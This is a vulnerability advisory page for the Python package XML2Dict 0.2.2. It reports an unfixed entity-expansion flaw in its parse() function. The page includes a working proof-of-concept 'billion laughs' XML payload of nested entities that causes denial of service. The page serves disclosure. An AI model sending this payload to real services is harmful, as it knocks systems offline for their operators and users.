XML2Dict@0.2.2 vulnerabilities

Convert between XML String and Python Dict

Direct Vulnerabilities

Known vulnerabilities in the XML2Dict package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
XML External Entity (XXE) Injection

XML2Dict is a convert xml file to python native dict object.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The function parse() does not restrict recursive entity references in DTDs in a specially crafted XML document, allowing an attacker to cause denial of service.


from encoder import XML2Dict

xml2dic = XML2Dict() 
doc = """ <!--?xml version="1.0" ?--> <!DOCTYPE bombz [ <!ENTITY bomb "bomb"> <!ELEMENT bombz (#PCDATA)> <!ENTITY bomb1 "&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;"> <!ENTITY bomb2 "&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;"> <!ENTITY bomb3 "&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;"> <!ENTITY bomb4 "&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;"> <!ENTITY bomb5 "&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;"> <!ENTITY bomb6 "&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;"> <!ENTITY bomb7 "&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;"> <!ENTITY bomb8 "&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;"> <!ENTITY bomb9 "&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;"> ]> <bombz>&bomb9;</bombz> """ 


How to fix XML External Entity (XXE) Injection?

There is no fixed version for XML2Dict.